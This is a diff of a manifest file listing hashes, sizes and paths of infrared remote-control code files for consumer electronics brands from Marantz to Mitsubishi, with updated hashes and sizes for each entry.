+F:722467073a7c1b3e749608f832dd5411:2498:infrared/_CSV-IRDB_/Marantz/Unknown_RC4300CC/20,-1.ir +F:2f3238e02250c5999fd4664dccbe7c0d:3770:infrared/_CSV-IRDB_/Marantz/Unknown_rc/4,-1.ir +F:b2e63a0afb5bb3028407a960edb76dcc:927:infrared/_CSV-IRDB_/Marantz/VCR/134,97.ir +F:cf9d51a51ffda261aab17e434732d4dd:126:infrared/_CSV-IRDB_/Marantz/VCR/23,-1.ir +F:71b0ff08e4fa28a0184eb856e29b00e9:5512:infrared/_CSV-IRDB_/Marantz/VCR/5,-1.ir +F:59b4aa2637ae5054f66f05d87ee2a638:3988:infrared/_CSV-IRDB_/Marantz/Video Projector/0,-1.ir +F:dbda7a9a3590c5055925ce4efacab015:303:infrared/_CSV-IRDB_/Marantz/Video Projector/13,-1.ir +F:528856fb132f3761b9ff5e73023f4a46:208:infrared/_CSV-IRDB_/Marantz/iPod Dock/14,-1.ir +F:3ac920185c71670f13762df6037a028b:296:infrared/_CSV-IRDB_/Marantz/iPod Dock/16,-1.ir D:infrared/_CSV-IRDB_/Mark/Unknown_rc5 -F:a54414ffd6ebd2217f37ed189bcc0048:3838:infrared/_CSV-IRDB_/Mark/Unknown_rc5/0,-1.ir +F:2b8c1acb5adfe1bfb15d8e62b7abf5ab:3590:infrared/_CSV-IRDB_/Mark/Unknown_rc5/0,-1.ir D:infrared/_CSV-IRDB_/Mark Levinson/CD Player D:infrared/_CSV-IRDB_/Mark Levinson/Pre-Amplifier -F:2ec24039c27def5002cc8870b52f1e8c:2304:infrared/_CSV-IRDB_/Mark Levinson/CD Player/1,-1.ir -F:fd18c84939cfad7451d56d005b732c51:131:infrared/_CSV-IRDB_/Mark Levinson/CD Player/16,-1.ir -F:fa6bad484244c2b51ad6c9a20b4afdf5:919:infrared/_CSV-IRDB_/Mark Levinson/CD Player/2,-1.ir -F:9be3b88620c93861ae44b00fc64bccfa:2545:infrared/_CSV-IRDB_/Mark Levinson/CD Player/3,-1.ir -F:eba881b1b83b88466abd7bbcfcccf044:131:infrared/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/4,-1.ir -F:6ea73a39f8da0674f87fc21d75297e18:1323:infrared/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/7,-1.ir +F:bf471c3171c7eb1b948fdc592012c7cb:2152:infrared/_CSV-IRDB_/Mark Levinson/CD Player/1,-1.ir +F:6365472c21303c80bd79435da35c765a:123:infrared/_CSV-IRDB_/Mark Levinson/CD Player/16,-1.ir +F:aa4b9677b06ce2441ef17f740103a556:857:infrared/_CSV-IRDB_/Mark Levinson/CD Player/2,-1.ir +F:5f594afa4d3768ab53009c8fba1242c0:2381:infrared/_CSV-IRDB_/Mark Levinson/CD Player/3,-1.ir +F:9e086059bc673d5b18293bdf86ad9d4f:123:infrared/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/4,-1.ir +F:559f7d85b322895815743aa943f1b331:1237:infrared/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/7,-1.ir D:infrared/_CSV-IRDB_/Mas/Unknown_HSD-303 D:infrared/_CSV-IRDB_/Mas/Unknown_HSD-400 D:infrared/_CSV-IRDB_/Mas/Unknown_RC-0135 -F:965e3e2d14c49b765ecf15749d33b363:4477:infrared/_CSV-IRDB_/Mas/Unknown_HSD-303/0,-1.ir -F:11205168c43f0deee9501aefc17c870f:5077:infrared/_CSV-IRDB_/Mas/Unknown_HSD-400/0,-1.ir -F:e654202957a2f417d9473fc32033077c:4117:infrared/_CSV-IRDB_/Mas/Unknown_RC-0135/6,-1.ir +F:19b38d23f744fafdedc2617367b24814:4193:infrared/_CSV-IRDB_/Mas/Unknown_HSD-303/0,-1.ir +F:bf10209ce7b2e1d362fafe9448fda385:4757:infrared/_CSV-IRDB_/Mas/Unknown_HSD-400/0,-1.ir +F:367f6e3a8ccf37f8c14c67d008e21356:3857:infrared/_CSV-IRDB_/Mas/Unknown_RC-0135/6,-1.ir D:infrared/_CSV-IRDB_/Maxx/Plasma -F:6c2522520f133326c40217f2fb7955ee:131:infrared/_CSV-IRDB_/Maxx/Plasma/32,64.ir -F:0f25945d11aaafb71c67ecae1cb84ca9:3987:infrared/_CSV-IRDB_/Maxx/Plasma/96,-1.ir +F:d95a3072fa4142f124a0b84b81a116de:123:infrared/_CSV-IRDB_/Maxx/Plasma/32,64.ir +F:43c38017be47c426e3477b71d22675b1:3727:infrared/_CSV-IRDB_/Maxx/Plasma/96,-1.ir D:infrared/_CSV-IRDB_/McIntosh/CD Player D:infrared/_CSV-IRDB_/McIntosh/Control System D:infrared/_CSV-IRDB_/McIntosh/DVD Player D:infrared/_CSV-IRDB_/McIntosh/Laser Disc D:infrared/_CSV-IRDB_/McIntosh/Pre-Amplifier D:infrared/_CSV-IRDB_/McIntosh/Receiver -F:0a2b11f4c64012b0313d3838ed4b7f8e:3295:infrared/_CSV-IRDB_/McIntosh/CD Player/202,149.ir -F:d81c914604ed93304b53348806e5d131:1147:infrared/_CSV-IRDB_/McIntosh/Control System/202,85.ir -F:cb35dc2594bcbdece8eb22637ff2bf40:3465:infrared/_CSV-IRDB_/McIntosh/DVD Player/128,80.ir -F:55698f68c567faed7f9fbb1f3761496b:2325:infrared/_CSV-IRDB_/McIntosh/Laser Disc/168,-1.ir -F:e6829eed25afbb26c407304e537b8b65:5249:infrared/_CSV-IRDB_/McIntosh/Pre-Amplifier/202,85.ir -F:d47341596ec390ad81c54052acdd74bf:4881:infrared/_CSV-IRDB_/McIntosh/Receiver/202,85.ir +F:2dc2ee98cf6c82647465fca0d531b892:3083:infrared/_CSV-IRDB_/McIntosh/CD Player/202,149.ir +F:8c456fed62c069cacea2272c0798ba73:1073:infrared/_CSV-IRDB_/McIntosh/Control System/202,85.ir +F:ad2580b8b843fcccb7967247052fc386:3241:infrared/_CSV-IRDB_/McIntosh/DVD Player/128,80.ir +F:b700b82ebf71ef3255d2d8dbdc23fa31:2173:infrared/_CSV-IRDB_/McIntosh/Laser Disc/168,-1.ir +F:7b6bfac100c172c9238fe12ed424ab71:4905:infrared/_CSV-IRDB_/McIntosh/Pre-Amplifier/202,85.ir +F:aae3e0c3ff3146721cadb4b96cfcdfbb:4561:infrared/_CSV-IRDB_/McIntosh/Receiver/202,85.ir D:infrared/_CSV-IRDB_/Medion/Unknown_JX-2006B D:infrared/_CSV-IRDB_/Medion/Unknown_MD-5410 D:infrared/_CSV-IRDB_/Medion/Unknown_MD81035 D:infrared/_CSV-IRDB_/Medion/Unknown_MD81880 D:infrared/_CSV-IRDB_/Medion/Unknown_medion D:infrared/_CSV-IRDB_/Medion/Unknown_rc2000 -F:5ac64bdfc89ce313eefd5d3bf2b9ab33:2316:infrared/_CSV-IRDB_/Medion/Unknown_JX-2006B/0,-1.ir -F:3fb034835c2c624629810eba5a9277bc:3156:infrared/_CSV-IRDB_/Medion/Unknown_MD-5410/5,-1.ir -F:d79826a28c9df672739026593bb5bbe8:4683:infrared/_CSV-IRDB_/Medion/Unknown_MD81035/23,105.ir -F:e31c39f0e020b2db765af25b3949ce67:3992:infrared/_CSV-IRDB_/Medion/Unknown_MD81880/23,105.ir -F:1fec1687c57c637f7947c23c75de13bd:3381:infrared/_CSV-IRDB_/Medion/Unknown_medion/128,123.ir -F:4585f9ff0e6ff644dd04f94f00f4990e:2949:infrared/_CSV-IRDB_/Medion/Unknown_rc2000/5,-1.ir +F:b39b6e9adb437209722ba77fe8f71604:2170:infrared/_CSV-IRDB_/Medion/Unknown_JX-2006B/0,-1.ir +F:4d23acd5e8b8e07906eda56295067d70:2956:infrared/_CSV-IRDB_/Medion/Unknown_MD-5410/5,-1.ir +F:fdbc0978e4e2d67fcfbbdbbcbcdba9b2:4387:infrared/_CSV-IRDB_/Medion/Unknown_MD81035/23,105.ir +F:dbbe4882336003b8354bce425746ecd8:3738:infrared/_CSV-IRDB_/Medion/Unknown_MD81880/23,105.ir +F:4c8ba8fb4edd5c26fca7d750c6575798:3169:infrared/_CSV-IRDB_/Medion/Unknown_medion/128,123.ir +F:2817b5f4714ba94c7931f8a9b5662533:2761:infrared/_CSV-IRDB_/Medion/Unknown_rc2000/5,-1.ir D:infrared/_CSV-IRDB_/Melectronic/Unknown_PP3600 -F:4928965369937b5b73a68a3902d8b7d1:1979:infrared/_CSV-IRDB_/Melectronic/Unknown_PP3600/2,-1.ir +F:5de63e2733f3d291279983266bce4905:1851:infrared/_CSV-IRDB_/Melectronic/Unknown_PP3600/2,-1.ir D:infrared/_CSV-IRDB_/Meliconi/Unknown_Facile D:infrared/_CSV-IRDB_/Meliconi/Unknown_MELICONI-U3 D:infrared/_CSV-IRDB_/Meliconi/Unknown_MeliconiSpeedy2 D:infrared/_CSV-IRDB_/Meliconi/Unknown_Speedy -F:43ba0c6482d6f95a1ea3e85806e98b14:2765:infrared/_CSV-IRDB_/Meliconi/Unknown_Facile/0,-1.ir -F:308d1ffcfb7a929191bcadaaceaeef60:4533:infrared/_CSV-IRDB_/Meliconi/Unknown_MELICONI-U3/10,-1.ir -F:a7de67d8febd251fbdbce55f0ebdbc59:1394:infrared/_CSV-IRDB_/Meliconi/Unknown_MeliconiSpeedy2/5,-1.ir -F:b4f40dfc152483878dec824e02d656a2:721:infrared/_CSV-IRDB_/Meliconi/Unknown_Speedy/7,7.ir +F:a35e7efe170f79c45a7a77a9c1ebdc12:2589:infrared/_CSV-IRDB_/Meliconi/Unknown_Facile/0,-1.ir +F:f2be461b8f9b11be6f5d818efff3f8d9:4243:infrared/_CSV-IRDB_/Meliconi/Unknown_MELICONI-U3/10,-1.ir +F:d2c7509d37d7df2b2b240d14c7d2f19c:1308:infrared/_CSV-IRDB_/Meliconi/Unknown_MeliconiSpeedy2/5,-1.ir +F:d35091fd2601573f219fb65194e6b5e0:677:infrared/_CSV-IRDB_/Meliconi/Unknown_Speedy/7,7.ir D:infrared/_CSV-IRDB_/Memorex/DVD Player D:infrared/_CSV-IRDB_/Memorex/TV -F:b2922d84202024db297f2bd22b3cee04:2703:infrared/_CSV-IRDB_/Memorex/DVD Player/0,-1.ir -F:30d877636f5a6abee9dbab9035e5812f:2039:infrared/_CSV-IRDB_/Memorex/TV/4,-1.ir +F:76d910cd12830afcd3839e92976fc77f:2527:infrared/_CSV-IRDB_/Memorex/DVD Player/0,-1.ir +F:57aad2b7d3d847d3e597c5899efa0391:1905:infrared/_CSV-IRDB_/Memorex/TV/4,-1.ir D:infrared/_CSV-IRDB_/Meridian/800 System Remote D:infrared/_CSV-IRDB_/Meridian/CD Player D:infrared/_CSV-IRDB_/Meridian/CD-R @@ -3943,24 +3943,24 @@ D:infrared/_CSV-IRDB_/Meridian/Processor D:infrared/_CSV-IRDB_/Meridian/Remote Control D:infrared/_CSV-IRDB_/Meridian/Surround Processor D:infrared/_CSV-IRDB_/Meridian/System Remote -F:eade36134354cba7e0536e96fbdc21dd:5841:infrared/_CSV-IRDB_/Meridian/800 System Remote/19,-1.ir -F:49b900d6e62cc5369c84392eb94fcee1:5086:infrared/_CSV-IRDB_/Meridian/CD Player/19,-1.ir -F:f1bfc61f45a2afb1f3ec858fbdbabdbe:7371:infrared/_CSV-IRDB_/Meridian/CD-R/19,-1.ir -F:f1bfc61f45a2afb1f3ec858fbdbabdbe:7371:infrared/_CSV-IRDB_/Meridian/DVD/19,-1.ir -F:46e8551b3a66d6543d38715158082517:9679:infrared/_CSV-IRDB_/Meridian/DVD Player/19,-1.ir -F:2d0f12ba611b474a6e690f1bd889e2d4:130:infrared/_CSV-IRDB_/Meridian/DVD Player/69,-1.ir -F:e42d4f4c92fba629561cdb5d16170908:3216:infrared/_CSV-IRDB_/Meridian/Pre-Amplifier/19,-1.ir -F:25de1c23b7eb103921241bd92f37e6e0:327:infrared/_CSV-IRDB_/Meridian/Pre-Amplifier/26,73.ir -F:2a50ec43be8e842b64e00a1105b4eb5a:609:infrared/_CSV-IRDB_/Meridian/Processor/19,-1.ir -F:dbe51b3a55152603d73f1b20229cfa5b:17431:infrared/_CSV-IRDB_/Meridian/Remote Control/19,-1.ir -F:c2c31f1c54ee985e12676592a892f7f8:10152:infrared/_CSV-IRDB_/Meridian/Surround Processor/19,-1.ir -F:886b126f92f6ea7667cafd8beca39484:4026:infrared/_CSV-IRDB_/Meridian/System Remote/19,-1.ir +F:e8d4206ec0266a7fd989a4eeb6bcc9a0:5467:infrared/_CSV-IRDB_/Meridian/800 System Remote/19,-1.ir +F:35091ba73a038d23cd7386d709810ebe:4754:infrared/_CSV-IRDB_/Meridian/CD Player/19,-1.ir +F:46ba030d523cab010e28517f6cd7597b:6877:infrared/_CSV-IRDB_/Meridian/CD-R/19,-1.ir +F:46ba030d523cab010e28517f6cd7597b:6877:infrared/_CSV-IRDB_/Meridian/DVD/19,-1.ir +F:b91d7bb3e8077f645dd558bcd8adfec6:9041:infrared/_CSV-IRDB_/Meridian/DVD Player/19,-1.ir +F:0a33c869cfbbddcce2b9528327ee9f3b:122:infrared/_CSV-IRDB_/Meridian/DVD Player/69,-1.ir +F:bf803579f373a134ddad86167e00cff6:3004:infrared/_CSV-IRDB_/Meridian/Pre-Amplifier/19,-1.ir +F:2d2aba53f90ad6a6aa2ec96b1210a9ad:307:infrared/_CSV-IRDB_/Meridian/Pre-Amplifier/26,73.ir +F:7857a871ab4cc55e1c8e3933edaf9a13:571:infrared/_CSV-IRDB_/Meridian/Processor/19,-1.ir +F:6cce5fa1455c76ccfde84bb8cb2d0e3c:16301:infrared/_CSV-IRDB_/Meridian/Remote Control/19,-1.ir +F:1cae6a259057132ee5daae4f9915c16c:9502:infrared/_CSV-IRDB_/Meridian/Surround Processor/19,-1.ir +F:c5a8593ec87d5ce36ed8db80c3a8d6f9:3766:infrared/_CSV-IRDB_/Meridian/System Remote/19,-1.ir D:infrared/_CSV-IRDB_/Metronome/CD Player -F:9887120410d857cb3c68d34982a155a7:1940:infrared/_CSV-IRDB_/Metronome/CD Player/20,-1.ir +F:65e53ee3e74e3e227ff19a1b38ebee63:1812:infrared/_CSV-IRDB_/Metronome/CD Player/20,-1.ir D:infrared/_CSV-IRDB_/Metrox/Humidifier -F:b10f50b71feb44e5948bd6620345e08a:701:infrared/_CSV-IRDB_/Metrox/Humidifier/128,-1.ir +F:35f7fe641416f77256be206e2f47e6c5:657:infrared/_CSV-IRDB_/Metrox/Humidifier/128,-1.ir D:infrared/_CSV-IRDB_/Micromega/DVD Player -F:6f6f39edc67b61bc856104e6ab2feb00:2793:infrared/_CSV-IRDB_/Micromega/DVD Player/4,-1.ir +F:6d6065e93bf304fa63d4829b69a04d7c:2611:infrared/_CSV-IRDB_/Micromega/DVD Player/4,-1.ir D:infrared/_CSV-IRDB_/Microsoft/DVD Player D:infrared/_CSV-IRDB_/Microsoft/Game Console D:infrared/_CSV-IRDB_/Microsoft/Home Media PC @@ -3968,23 +3968,23 @@ D:infrared/_CSV-IRDB_/Microsoft/Unknown_MCE D:infrared/_CSV-IRDB_/Microsoft/Unknown_Xbox360 D:infrared/_CSV-IRDB_/Microsoft/Unknown_xbox D:infrared/_CSV-IRDB_/Microsoft/Windows Media Center -F:4891e19f389d57a8056a0814049ce4dc:2451:infrared/_CSV-IRDB_/Microsoft/DVD Player/5,-1.ir -F:846bb9e80cf887b7dd9dcabe6835b0ed:5749:infrared/_CSV-IRDB_/Microsoft/Game Console/116,15.ir -F:e285f24a4d40d31fb3225f9f488742fb:230:infrared/_CSV-IRDB_/Microsoft/Game Console/4,15.ir -F:d979bd7b7e82ca7515d25cab964b3505:4140:infrared/_CSV-IRDB_/Microsoft/Game Console/5,-1.ir -F:234538f930367433cadde9def64e8fdd:4154:infrared/_CSV-IRDB_/Microsoft/Home Media PC/4,15.ir -F:6232981bf3fbebfec149eb600d0d28d9:4326:infrared/_CSV-IRDB_/Microsoft/Unknown_MCE/5,-1.ir -F:e791b7705f47fbb6602aa9367d92a55c:4411:infrared/_CSV-IRDB_/Microsoft/Unknown_Xbox360/116,15.ir -F:79f98df99f260d2befa8e49e8e414645:2515:infrared/_CSV-IRDB_/Microsoft/Unknown_xbox/10,-1.ir -F:9bceed90e63e0c0524e1f61607fa6f12:6800:infrared/_CSV-IRDB_/Microsoft/Windows Media Center/4,15.ir +F:878b45b9f80293292f0a4e65ee33695f:2287:infrared/_CSV-IRDB_/Microsoft/DVD Player/5,-1.ir +F:2e9041f9f5385122da403a6b7d531416:5381:infrared/_CSV-IRDB_/Microsoft/Game Console/116,15.ir +F:f933c7769c44e2906adee7eae4480b5a:216:infrared/_CSV-IRDB_/Microsoft/Game Console/4,15.ir +F:7d246b08d74a82b097597860a4a40bc3:3868:infrared/_CSV-IRDB_/Microsoft/Game Console/5,-1.ir +F:92f29614911751b0652c043bb96f2418:3882:infrared/_CSV-IRDB_/Microsoft/Home Media PC/4,15.ir +F:a6d687d8a98b1aedf80d7f218d31fa18:4054:infrared/_CSV-IRDB_/Microsoft/Unknown_MCE/5,-1.ir +F:c4baa347eedb13eb6d4d1bf90fb0086b:4133:infrared/_CSV-IRDB_/Microsoft/Unknown_Xbox360/116,15.ir +F:b2e19f2e130c3e1fa25f1213b141be44:2351:infrared/_CSV-IRDB_/Microsoft/Unknown_xbox/10,-1.ir +F:6bc6b68dd6a8a6752cd782924d76bfae:6366:infrared/_CSV-IRDB_/Microsoft/Windows Media Center/4,15.ir D:infrared/_CSV-IRDB_/Midiland/Digital Decoder -F:115dd9c21b45ee44e6e819c55ba4b186:2000:infrared/_CSV-IRDB_/Midiland/Digital Decoder/81,175.ir +F:5444d18af728ac8f9d032bc8d5fcea45:1872:infrared/_CSV-IRDB_/Midiland/Digital Decoder/81,175.ir D:infrared/_CSV-IRDB_/Mintek/DVD Player -F:55926a77cd6afd724a40126d22cc3b5a:2326:infrared/_CSV-IRDB_/Mintek/DVD Player/0,153.ir +F:b9d0cde9a3dbf15c1c2055f3f6c1aeb4:2174:infrared/_CSV-IRDB_/Mintek/DVD Player/0,153.ir D:infrared/_CSV-IRDB_/Mitochiba/Unknown_JX-9902 D:infrared/_CSV-IRDB_/Mitochiba/Unknown_KF220100 -F:c52ff61ab00b81da3cd3cbaad6377308:4619:infrared/_CSV-IRDB_/Mitochiba/Unknown_JX-9902/134,107.ir -F:aed9753d4f2610472ef1dbe953ff48aa:4624:infrared/_CSV-IRDB_/Mitochiba/Unknown_KF220100/134,107.ir +F:f49eef61ffe360624d787abcde50379e:4323:infrared/_CSV-IRDB_/Mitochiba/Unknown_JX-9902/134,107.ir +F:4068a3a6317cf861c8e7a8a199ef3800:4328:infrared/_CSV-IRDB_/Mitochiba/Unknown_KF220100/134,107.ir D:infrared/_CSV-IRDB_/Mitsubishi/CD Player D:infrared/_CSV-IRDB_/Mitsubishi/Cable Box D:infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape @@ -4005,59 +4005,59 @@ D:infrared/_CSV-IRDB_/Mitsubishi/Unknown_mitsubishi D:infrared/_CSV-IRDB_/Mitsubishi/Unknown_tv D:infrared/_CSV-IRDB_/Mitsubishi/VCR D:infrared/_CSV-IRDB_/Mitsubishi/Video Projector -F:d1f7e5c4b51ce691c918e66fc27f4898:4578:infrared/_CSV-IRDB_/Mitsubishi/CD Player/119,-1.ir -F:40ebaf1c77e00f953bb2b30c3b011895:3248:infrared/_CSV-IRDB_/Mitsubishi/Cable Box/0,-1.ir -F:64a4c8b39dcaf5bb7712d27c745fb49e:4323:infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/119,-1.ir -F:4762a984a2a946ea670b6886afd4dc73:1456:infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/138,-1.ir -F:3abb3fb8a87f1218293c971f355bdd4d:2409:infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/141,-1.ir -F:8dead1d9b50dcff183b1bc84d2f3c20b:3259:infrared/_CSV-IRDB_/Mitsubishi/DSS/12,251.ir -F:62f46fed24b8911d64331b757cbcfc0c:320:infrared/_CSV-IRDB_/Mitsubishi/DSS/64,-1.ir -F:15e3b8747d02a2e0bb0eb2f56bcb7d9a:217:infrared/_CSV-IRDB_/Mitsubishi/DSS/71,-1.ir -F:f699ed8122f7df43fb9333e047671c0b:3915:infrared/_CSV-IRDB_/Mitsubishi/DVD/103,-1.ir -F:89afec6f71c0214a6c2089f731a5007d:7152:infrared/_CSV-IRDB_/Mitsubishi/DVD Player/103,-1.ir -F:9cbacc446bc50878f233213a6ba1c5ea:2315:infrared/_CSV-IRDB_/Mitsubishi/DVD Player/71,-1.ir -F:00f3b5b859daa46acbffcf11286b1e5b:2825:infrared/_CSV-IRDB_/Mitsubishi/DVD Player/87,-1.ir -F:086779472ff6d98f540cb1b70726540b:2664:infrared/_CSV-IRDB_/Mitsubishi/HDTV Receiver/12,251.ir -F:f00c4c0a7af7b817d28e5fb4b00ac239:213:infrared/_CSV-IRDB_/Mitsubishi/HDTV Receiver/71,-1.ir -F:1ada10093f2fe45604a9320767c21ac9:9460:infrared/_CSV-IRDB_/Mitsubishi/Laser Disc/168,-1.ir -F:0b6022abc51c37cb4f2d24ce93762ea2:213:infrared/_CSV-IRDB_/Mitsubishi/Laser Disc/175,-1.ir -F:0ba78d6128c863faeda0048f06324605:2028:infrared/_CSV-IRDB_/Mitsubishi/Monitor/1,-1.ir -F:aa53c03b43c9fc9eb12ef17f218c5c06:428:infrared/_CSV-IRDB_/Mitsubishi/Monitor/119,-1.ir -F:55d6f5ffc1bbf5e3e23d5ad165547fb8:3155:infrared/_CSV-IRDB_/Mitsubishi/Monitor/130,100.ir -F:24785965f5fd6259dc5f025ef4d8da22:132:infrared/_CSV-IRDB_/Mitsubishi/Monitor/2,-1.ir -F:b4e6654ea60a779aec8537c5629845f1:2595:infrared/_CSV-IRDB_/Mitsubishi/Monitor/4,-1.ir -F:87ff78cd4244a112d75fa281bbf38ef1:19816:infrared/_CSV-IRDB_/Mitsubishi/Monitor/71,-1.ir -F:023378839676e87cf621c578c07b8ed8:16530:infrared/_CSV-IRDB_/Mitsubishi/Monitor/87,-1.ir -F:8101be67c9b623042d9e8c3fb8adc497:14161:infrared/_CSV-IRDB_/Mitsubishi/Receiver/119,-1.ir -F:69b606d3210df9d594b4dde5ad765b1c:2685:infrared/_CSV-IRDB_/Mitsubishi/Receiver/168,-1.ir -F:56d2337eead43097a88619327ac9cac2:2878:infrared/_CSV-IRDB_/Mitsubishi/Receiver/71,-1.ir -F:120312b9554fadaa4e1b81b519b0c8f4:7882:infrared/_CSV-IRDB_/Mitsubishi/Receiver/87,-1.ir -F:99a03ba858c25bad09112e1e75dd2ff0:2619:infrared/_CSV-IRDB_/Mitsubishi/Satellite/12,251.ir -F:3bf411988247ce4411af5fb19bfeb00c:1858:infrared/_CSV-IRDB_/Mitsubishi/TV/1,-1.ir -F:05fbc993f3888cf6ce3688d355b594ba:239:infrared/_CSV-IRDB_/Mitsubishi/TV/119,-1.ir -F:10a8b0272c0b28582b34f5e5ef0c3745:17028:infrared/_CSV-IRDB_/Mitsubishi/TV/71,-1.ir -F:7d559d7119e8beeae757a59d6034bd6b:1211:infrared/_CSV-IRDB_/Mitsubishi/TV/87,-1.ir -F:d362fa913c884e0b905ddcdc2ba13c5a:3302:infrared/_CSV-IRDB_/Mitsubishi/Unknown/119,-1.ir -F:34518c557db2ff99eecaf6fcaf49ea43:10371:infrared/_CSV-IRDB_/Mitsubishi/Unknown/71,-1.ir -F:0f02023d5fe793a70d9f9f8b45314acb:22605:infrared/_CSV-IRDB_/Mitsubishi/Unknown/87,-1.ir -F:24a6f10017fe493b83c0b9baf69d22bc:3165:infrared/_CSV-IRDB_/Mitsubishi/Unknown_75501/87,-1.ir -F:2360b2631c8256e4399eb2f0d7f8422a:2364:infrared/_CSV-IRDB_/Mitsubishi/Unknown_HD1000/240,-1.ir -F:b6cf98f49f795037a936f973302f1384:2374:infrared/_CSV-IRDB_/Mitsubishi/Unknown_HS-349/87,-1.ir -F:93e18aa5fc9875fb2614ce78b7be7c0a:2215:infrared/_CSV-IRDB_/Mitsubishi/Unknown_mitsubishi/71,-1.ir -F:143d4494a2eaade3060ba497fe38e4f1:5895:infrared/_CSV-IRDB_/Mitsubishi/Unknown_tv/71,-1.ir -F:8c8073d6143e5285314cd24ed74e7d39:416:infrared/_CSV-IRDB_/Mitsubishi/VCR/119,-1.ir -F:e1c900edd9eb735489b258136ba5a4f1:126:infrared/_CSV-IRDB_/Mitsubishi/VCR/23,-1.ir -F:e30d4915021b97e99aea9f81ed95d61c:2116:infrared/_CSV-IRDB_/Mitsubishi/VCR/3,-1.ir -F:7500dad6b152a9e4871695d1f452a0b7:1043:infrared/_CSV-IRDB_/Mitsubishi/VCR/7,-1.ir -F:7ef477ff6bb9b389e2e0f6bacbb9f01f:6687:infrared/_CSV-IRDB_/Mitsubishi/VCR/71,-1.ir -F:2c1013511905385d56b281875a408833:47453:infrared/_CSV-IRDB_/Mitsubishi/VCR/87,-1.ir -F:fd7ed627eedc113f90feaa2651899e02:3047:infrared/_CSV-IRDB_/Mitsubishi/Video Projector/71,-1.ir +F:33ee68c16f82f390067e337000cb7477:4282:infrared/_CSV-IRDB_/Mitsubishi/CD Player/119,-1.ir +F:949d373743e4f85f51e7ec1c9a013fe9:3036:infrared/_CSV-IRDB_/Mitsubishi/Cable Box/0,-1.ir +F:7895a4ba66dd0ce225fceddffadb3ca1:4057:infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/119,-1.ir +F:d4ce69331a051d946e27f245b7f390bc:1370:infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/138,-1.ir +F:ac9a745020f60213c36a1ebb70b8e004:2251:infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/141,-1.ir +F:a4370f0de2eb6a019b90b74a7193382a:3047:infrared/_CSV-IRDB_/Mitsubishi/DSS/12,251.ir +F:f5d341fd67a816b81d7293a579660ac8:300:infrared/_CSV-IRDB_/Mitsubishi/DSS/64,-1.ir +F:163b0d51599d64c9b05e19a57fc270cf:203:infrared/_CSV-IRDB_/Mitsubishi/DSS/71,-1.ir +F:c535f3068e720c0f583e196dee18789c:3661:infrared/_CSV-IRDB_/Mitsubishi/DVD/103,-1.ir +F:c6a917dd68ac1cfd3c5c0a8b44bb115a:6694:infrared/_CSV-IRDB_/Mitsubishi/DVD Player/103,-1.ir +F:5dc805f78f0a582652b3bea07eba8803:2169:infrared/_CSV-IRDB_/Mitsubishi/DVD Player/71,-1.ir +F:fbbce25356c1be228146ca0f046b0ecb:2649:infrared/_CSV-IRDB_/Mitsubishi/DVD Player/87,-1.ir +F:0f831e414f93647de36607d60daf06fc:2494:infrared/_CSV-IRDB_/Mitsubishi/HDTV Receiver/12,251.ir +F:aec2c1949d70c17172b36168ccf6dab6:199:infrared/_CSV-IRDB_/Mitsubishi/HDTV Receiver/71,-1.ir +F:60626f5b04ce4b5376bcd98ad082bdf6:8870:infrared/_CSV-IRDB_/Mitsubishi/Laser Disc/168,-1.ir +F:172a8d2e6ee4656ef6d2e0484c8e4e9a:199:infrared/_CSV-IRDB_/Mitsubishi/Laser Disc/175,-1.ir +F:9e0cebc73cf088bfa47ff2c6f048a74e:1894:infrared/_CSV-IRDB_/Mitsubishi/Monitor/1,-1.ir +F:3fc392622d922c3407d8bf6c9749ea3b:402:infrared/_CSV-IRDB_/Mitsubishi/Monitor/119,-1.ir +F:ac511a13a62883a01629599cb0a24f2d:2949:infrared/_CSV-IRDB_/Mitsubishi/Monitor/130,100.ir +F:839fa86606b17ea9f8d645ca235ea7c8:124:infrared/_CSV-IRDB_/Mitsubishi/Monitor/2,-1.ir +F:bc8f2b3c02cb893f2336da4646af8fa5:2425:infrared/_CSV-IRDB_/Mitsubishi/Monitor/4,-1.ir +F:9d20ec10163793f0e0281c75b066b149:18548:infrared/_CSV-IRDB_/Mitsubishi/Monitor/71,-1.ir +F:746e47ab18df731a13a94d306e186686:15490:infrared/_CSV-IRDB_/Mitsubishi/Monitor/87,-1.ir +F:6093d5e26b3437f150a9dfddf204be1f:13277:infrared/_CSV-IRDB_/Mitsubishi/Receiver/119,-1.ir +F:3e0ac32d35a6c299a627a453ef751894:2515:infrared/_CSV-IRDB_/Mitsubishi/Receiver/168,-1.ir +F:785c9b6ac41a9dd106e7d5f20c881bed:2696:infrared/_CSV-IRDB_/Mitsubishi/Receiver/71,-1.ir +F:b459c4d9a34a7cf9c04fe3ee8f315f78:7394:infrared/_CSV-IRDB_/Mitsubishi/Receiver/87,-1.ir +F:a7806cae5c77df3d6dc0b80e22427dc3:2449:infrared/_CSV-IRDB_/Mitsubishi/Satellite/12,251.ir +F:fd2be2d5f63879259c34a05911682b72:1736:infrared/_CSV-IRDB_/Mitsubishi/TV/1,-1.ir +F:a94e9101f4a57cc268ba3ee1fd4f2ac4:225:infrared/_CSV-IRDB_/Mitsubishi/TV/119,-1.ir +F:5740379c8beaf2e1ccbece7458d1601d:15946:infrared/_CSV-IRDB_/Mitsubishi/TV/71,-1.ir +F:b9b8dd68b87b3608b35b2e96527e2a60:1137:infrared/_CSV-IRDB_/Mitsubishi/TV/87,-1.ir +F:af5b4d82eca08488005bd6a6ad8c350f:3090:infrared/_CSV-IRDB_/Mitsubishi/Unknown/119,-1.ir +F:8ab12515569c817c7caf74e29ffebe53:9709:infrared/_CSV-IRDB_/Mitsubishi/Unknown/71,-1.ir +F:53ff4bd6e00cf9c95e1846c83f6d9545:21205:infrared/_CSV-IRDB_/Mitsubishi/Unknown/87,-1.ir +F:8d925688bb7f00abf3aca2d7916b95ba:2965:infrared/_CSV-IRDB_/Mitsubishi/Unknown_75501/87,-1.ir +F:705572cfa109d40821a3788719de1099:2212:infrared/_CSV-IRDB_/Mitsubishi/Unknown_HD1000/240,-1.ir 